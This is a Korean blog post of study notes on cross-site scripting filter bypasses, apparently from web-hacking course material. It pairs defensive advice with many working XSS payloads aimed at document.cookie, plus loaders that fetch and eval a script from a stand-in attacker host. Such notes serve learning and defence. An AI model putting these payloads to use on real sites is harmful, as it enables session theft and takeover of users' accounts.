XSS 방어 방법
가장 확실한 방법 : HTML 태그나 엔티티 자체를 입력하지 못하도록 하고, 대신 입력을 서식 없는 평문으로 취급.
서버 측에서는 < , > , & 와 같은 특수 문자들을 Escape
클라이언트 측에서는 DOM의 textContent, createTextNode 등을 사용해 HTML 태그 등이 해석되는 것을 방지.
배경
팀 버너스리 (Tim Berners-Lee)가 창시한 HTML은 SGML(Standard Generalized Markup Language) 을 바탕으로 함.
XML (다목적 마크업 언어) 또한 SGML 기반.
XML은 규칙을 엄격화하되 문법을 단순화하였으나, HTML은 문서 작성 편의를 초점으로 둔 기능을 상당 수 유지함으로써 문법이 복잡해짐.
이에 따라 HTML 해석하는 소프트웨어 구조도 정교해짐.
넷스케이프, MS 사의 브라우저 전쟁을 거치면서 HTML에 태그를 늘려나가서 표준화가 정립되기 전까지 쌓여온 이 기능들은 현재에 잘 쓰지않거나 불편함 야기 => 이를 IT용어로 유산이라고 부름.
XSS 필터 역시 태그가 무분별하게 추가됨에 따라 작성에 어려움이 생김.
같은 의미를 가지는 마크업이 느슨한 규칙에 의해 여러 개가 됨
HTML에서 Javascript 코드를 실행하거나 페이지에 변형을 가하는 방법은 여러가지 존재.
XSS 필터는 이를 모두 막아 웹 페이지의 보안을 유지하여야 함.
블랙리스트 필터링보다 XSS 필터는 안전하다고 알려진 마크업만 허용하는 보수적인 방식 취해야 함. (화이트리스트 필터링)
태그 및 속성 필터링
코드를 실행할 수 있는 HTML 요소는 <script> 이외에도 상당수 존재.
이벤트 핸들러 지정하는 on 존재.
onload => 이미지에서 핸들러 실행 시 유효 이미지가 load 된 경우에만 동작함.
onerror => 이미지에서 핸들러 실행 시 에러가 발생하는 경우에만 동작, 정상 로드 시에 동작안함.
<!-- 해당 태그가 요청하는 데이터 로드 후 실행 (로드 실패 시 실행되지 않음). -->
<img src="valid.jpg" onload="alert(document.domain)">
<!-- → 유효한 이미지 로드 후 onload 실행. -->
<img src="about:invalid" onload="alert(document.domain)">
<!-- → 이미지 로드 실패, onload 실행하지 않음. -->
<!-- 해당 태그가 요청하는 데이터 로드 실패 시 실행 (로드 성공 시 실행되지 않음). -->
<img src="about:invalid" onerror="alert(document.domain)">
<!-- → 이미지 로드 실패, onerror 실행. -->
<!-- input 태그에 포커스가 되면 실행되는 이벤트 핸들러 -->
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
<!-- "autofocus" 옵션을 통해 자동으로 포커스를 시키거나,
URL의 hash 부분에 input id를 입력(e.g. http://dreamhack.io/#inputID)하면 포커스 되도록 하여 이벤트 핸들러가 실행되도록 합니다.
※ 포커스가 될 수 없는 "hidden" type에서는 동작하지 않는 이벤트 핸들러입니다.
-->
취약 필터 예시
대문자 혹은 소문자만을 인식하는 필터 우회
x => !x.includes('script') && !x.includes('On')
--> <sCRipT>alert(document.cookie)</scriPT>
--> <img src=x: oneRroR=alert(document.cookie) />
잘못된 정규표현식
x => !/<script[^>]*>[^<]/i.test(x)
--> <sCrIpt src=data:,alert(document.cookie)></SCRipt>
// 스크립트 태그 내에 데이터가 존재하는지 확인하는 필터링 -> src 속성을 이용하여 데이터 입력.
- [] 문자 배열
- ^ 제외
- *는 반복적으로 탐색
- 즉, [^>]*는 >를 제외한 모든 문자들의 집합
- <script ~> 이후 문자열이 등장하면 정규표현에 걸림.
- 따라서 src를 통해 js를 실행시키면 통과한다.
x => !/<script[^>]*>[^<]/i.test(x) && !x.includes('document')
--> <sCrIpt src=data:;base64,YWxlcnQgKGRvY3VtZW50LmNvb2tpZSk7></SCRipt>
// base64 인코딩을 통해 필터링 우회
- document를 차단했으니, base64 인코딩으로 우회
x => !/<img[^>]*onerror/i.test(x)
--> <img src='>' onerror=alert(document.cookie)>
- img 뒤에 > 제외 문자열온 후에 onerror 만나면 예외. => 어차피 error 발생시켜야 하므로 >를 src에 심으면됨.
x => !/<img([^>]|['"][^'"]*['"])+onerror/i.test(x)
--> <img src=">'>" onerror=alert(document.cookie) />
- | 는 왼쪽 패턴 혹은 오른쪽 패턴과 일치하는 것을 찾는 것이므로 둘다 일치하지 않아야 함.
- " > ' > " 로 하면 >이 제외한 문자가 온다는 왼쪽 패턴과 일치하지 않고, " ~ ' ~ " 으로 ',"를 제외한 문자가 따옴표 사이에 와야하는 패턴에 어긋남.
x => !/<img.*on/i.test(x)
--> <img src=""
onerror = alert(document.cookie) />
// 멀티라인에 대한 검증이 존재하지 않아 줄바꿈을 통해 필터링 우회.
- .은 모든 문자
- 모든 문자에 대해서 적용이므로 까다롭지만 줄바꿈으로 해결.
특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 우회
x => !/img|onload/i.test(x)
--> <video><source onerror=alert(document.cookie) /></video>
- img 태그 사용 불가이므로, video 태그 사용.
x => !/onerror/i.test(x)
--> <body onload=alert(document.cookie) />
- onload 사용 불가이므로 onerror 사용
x => !/<\s*body/i.test(x)
--> <iframe src=jaVaSCRipt:alert(parent.document.cookie) />
- \s : 공백, 택, 용지 공급 등과 같은 문자 찾기. [\f \n \r \t \v]
body 대신 iframe 사용, iframe의 src에는 script 삽입 가능.
x => !/onerror|javascript/i.test(x)
--> <iframe srcdoc="<img src='' onerror=alert(parent.document.cookie)>" />
onerror 사용 불가, html character code 사용.
r는 r을 의미
소문자에 대해서만 필터링 했으므로 대문자 섞어서 뚫음.
script 사용 불가이므로 img에 onerror 심음.
html character code는 iframe srcdoc 안의 html source에서 동작함.
alert은 상위 문서에서 호출되므로 parent.alert으로 해야함.
JavaScript 함수 및 키워드 필터링
Javascript는 Unicode escape sequence와 같이 유니코드 문자를 코드포인트로 나타낼 수 있는 표기,
("\uAC00" = "가")
computed member access (객체의 특정 속성을 접근할 때 속성 이름을 동적으로 계산함) 등 코드를 난독화할 수 있는 다양한 기능등을 포함하여 필터 우회 가능.
atob : Base64 인코딩 데이터 디코딩
decodeURI : URI 인코딩 데이터 디코딩
x => typeof x === 'string' && !x.includes('alert') && !x.includes('window') && !x.includes('document')
--> this['al'+'ert']((({'\u0063ookie':x})=>x)(self['\x64ocument']))
--> this.alert((({cookie: x}) => x)(self.document)
--> window.alert(self.document.cookie)
--> alert(document.cookie)
unicode escape sequence와 끊어 쓰기로 우회
x => typeof x === 'string' && !x.includes('eval') && !x.includes('cookie')
--> isNaN['construct'+'or'](atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))()
--> isNaN['constr'+'uctor']("alert(document.cookie)")()
--> Function("alert(document.cookie)")()
--> alert(document.cookie)
--> self['constru'+'ctor']['con'+'structor'](decodeURI("%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65"))
--> self['constru'+'ctor']['con'+'structor']("alert(document.cookie)")()
--> self.constructor.constructor("alert(document.cookie)")()
--> Window.constructor("alert(document.cookie)")()
--> Function("alert(document.cookie)")()
--> alert(document.cookie)
기존 구문 | 대체 구문 |
alert, XMLHttpRequest 등 최상위 객체 및 함수 |
window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기 |
window | self |
this ("use strict" 가 비활성화되어 있고 this 가 명시된 메소드 호출이 아니라는 가정 하) |
|
eval(code) | Function(code)() |
Function | isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접근 |
alert같은 메소드는 window객체의 함수이므로, 속성으로 접근해서 사용가능
isNaN의 constructor 속성에 접근하면 Function처럼 사용가능, Boolean도 마찬가지
문자열 선언의 일반적인 방법
", ' 사용
var foo = "Hello";
var bar = "World";
var baz = `${foo},
World ${1+1} `; // "Hello,\nWorld 2 "
/*
Template literals은 backtick을 통해 선언하며 멀티라인 문자열도 선언할 수 있습니다.
또한 내장된 표현식을 통해 다른 변수 또는 식을 사용할 수 있습니다.
*/
var foo = /Hello World!/.source; // "Hello World!"
var foo2 = /test !/ + []; // "/test !/"
/ 문자열 / 의 정규표현식에서 .source (pattern 부분)을 통해 string으로 변환
정규표현식에 + []을 수행하면 연산을 위해 toString이 실행됨.
var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"
기존의 내장 함수 또는 오브젝트의 문자를 사용
history객체를 문자열화 하면 [object History]가 반환된다.
8번째 인덱스인 H
URL은 function URL() { [native code] }가 반환
toString하거나 +[] or +0 등으로 문자열 연산을 수행하여 변환시킬 수 있음
var qux = 29234652..toString(36); // "hello"
var qux2 = 29234652 .toString(36); // "hello"
// parseInt("hello", 36); ==> 29234652
operator("..")을 통해 number 오브젝트에 접근
숫자 속성에 접근 시 앞에 공백을 한 칸 추가해 점이 소수점으로 인식 되지 않도록 하는 방법도 존재
함수 호출 방법
일반적 방법은 괄호나 tagged templates 사용
alert(1);
alert`1`;
괄호나 태그 사용 불가능한 경우
javascript : scheme을 통해 함수 실행.
location="javascript:alert\x281\x29;";
location.href="javascript:alert\u00281\u0029;";
location['href']="javascript:alert\0501\051;";
iframe의 src에서도 사용 가능
혹은
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
/*
document에 새로운 html 추가를 통해 자바스크립트 실행.
*/
"alert\x281\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x281\x29"instanceof[];
/*
JavaScript에서는 문자열 이외에도 ECMAScript 6에서 추가된 Symbol 또한 속성 명칭으로 사용할 수 있습니다.
Symbol.hasInstance well-known symbol을 이용하면 instanceof 연산자를 override할 수 있습니다.
즉, (O instanceof C)를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우 메소드로 호출하여 instanceof 연산자의 결과값으로 사용하게 됩니다.
이 특성을 이용해 instanceof를 연산하게 되면 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출되도록 할 수 있습니다.
*/
기타
alert['toString'] === alert.toString;
// 속성 참조
\u0061lert == \u{61}lert; // alert
// unicode를 이용하여 문자열 우회
alert, window, document 사용 불가.
window 대신 this 사용, window > document, alert 이고 document > cookie
끊어쓰기로 해결
this['al'+'ert'](this['docu'+'ment']['cookie'])
이것도 가능
this['al'+'ert'](self['\x64ocument'].cookie)
function XSSFilter(data){
if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|constructor|[\-+\\<>{}=]/i.test(data)){
return false;
}
return true;
}
this, self 포함 다 안됨.
이것은 인코딩이다 !
// %63%6F%6E%73%74%72%75%63%74%6F%72 -> constructor
// %61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29 -> alert(document.cookie)
Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
기호 사용 불가능.
문자열을 만들어서 실행
location=/javascript:/.source
+ /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];
.source를 붙이면 / / 을 정규표현식의 pattern 부분으로써 문자열로 만들 수 있음.
원래는 (URL + 0)[12]로 뽑아내야하지만 ( , ) 사용 불가하기 때문에
[ ] 배열 형태로 뽑고 인덱스 0번째에서 나머지 위치 인덱스로 접근.
XSS 구문을 거부하는 대신 단순히 치환 또는 제거하는 관습존재.
(x => x.replace(/script/g, ''))('<scrscriptipt>alscriptert(documescriptnt.cooscriptkie)</scrscriptipt>')
--> <script>alert(document.cookie)</script>
(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />
g는 전역에서 검색.
치환해서 ''로 제거시에 남은 문자로 취약한 단어 만들 수 있음
대안으로 문자열 변화가 없을 때 까지 지속적으로 치환하는 방식 사용
=>고려하지 못한 구문의 존재
function replaceIterate(text) {
while (true) {
var newText = text
.replace(/script|onerror/gi, '');
if (newText === text) break;
text = newText;
}
return text;
}
replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,<svg>" onloadonerror="alert(1)" />')
--> <img src="data:image/svg+xml,<svg>" onload="alert(1)" />
srcdoc에 들어가는 것은 html code, <는 < >는 >
활성 하이퍼링크
HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있음.
이중 javascript: 스키마로 URL 로드 시 자바스크립트 코드를 실행할 수 있도록 함.
x => !/href\s*=(["']\s*)?javascript:/i.test(x)
--> <a href="jAvaScRIpT:alert(1)">Click me!</a>
x => !/javascript:/i.test(x)
--> <a href="javascript:alert(1)">Click me!</a>
x => !/javascript(:|:)/i.includes(x)
--> <a href="javascript:alert(1)">Click me!</a>
html character code로 우회
js의 url에서는 \x01, \x04와 같은 특수 제어 문자들이 제거될 수 있는데, 이를 이용해서 우회가능.
function normalizeURL(url) {
return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAvaScRIpT:alert(1)')
--> "javascript:alert"
normalizeURL('\4\4jAvaScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAvaScRIpT:alert(1)').pathname
--> "alert(1)"
js에서 URL 객체를 통해 URL 직접 정규화할 수 있고
이를 통해 URL 각종 정보 추출 가능.
디코딩 전 필터링 (Double encoding 등)
입력 검증에서 디코딩이 모두 끝난 후에 필터링을 해야하는데 필터링 후에 디코딩이 수행되는 경우 필터가 무용지물이 되어버림.
<?php
$query = $_GET["query"];
if (stripos($query, "<script>") !== FALSE) {
header("HTTP/1.1 403 Forbidden");
die("XSS attempt detected: " . htmlspecialchars($query, ENT_QUOTES|ENT_HTML5, "UTF-8"));
}
...
$searchQuery = urldecode($_GET["query"]);
?>
<h1>Search results for: <?php echo $searchQuery; ?></h1>
POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
...
-----
HTTP/1.1 403 Forbidden
XSS attempt detected: <script>alert(document.cookie)</script>
POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1
...
-----
HTTP/1.1 200 OK
<h1>Search results for: <script>alert(document.cookie)</script></h1>
길이 제한
삽입될 수 있는 코드의 길이에 제한이 있는 경우, 다른 경로로 실행할 추가 코드 (payload)를 URL fragment등으로 삽입하고, 삽입 지점에는 본 코드를 실행하는 짧은 코드(launcher) 사용.
fragemetn로 script 넘겨주고 XSS 지점에서 location.hash로 URL fragment부분 추출해서 eval()로 실행
https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);
location.hash 하면 #alert(document.cookie)가 추출 ,slice로 #제거
- 외부 자원을 이용한 공격 방식 (payload)
import("http://malice.dreamhack.io");
var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e);
fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))
fetch에 url 넣으면 해당 url 호출 성공 시 응답 객체를 x에 담아서 실행
'Security' 카테고리의 다른 글
[Webhacking] [client-side advanced] CSRF (0) | 2021.10.24 |
---|---|
[Webhacking] [client-side advanced] CSP (0) | 2021.10.22 |
[wargame] pathtraversal (0) | 2021.10.04 |
[wargame] devtools-sources (0) | 2021.10.04 |
[Webhacking] Misconfiguration (0) | 2021.10.01 |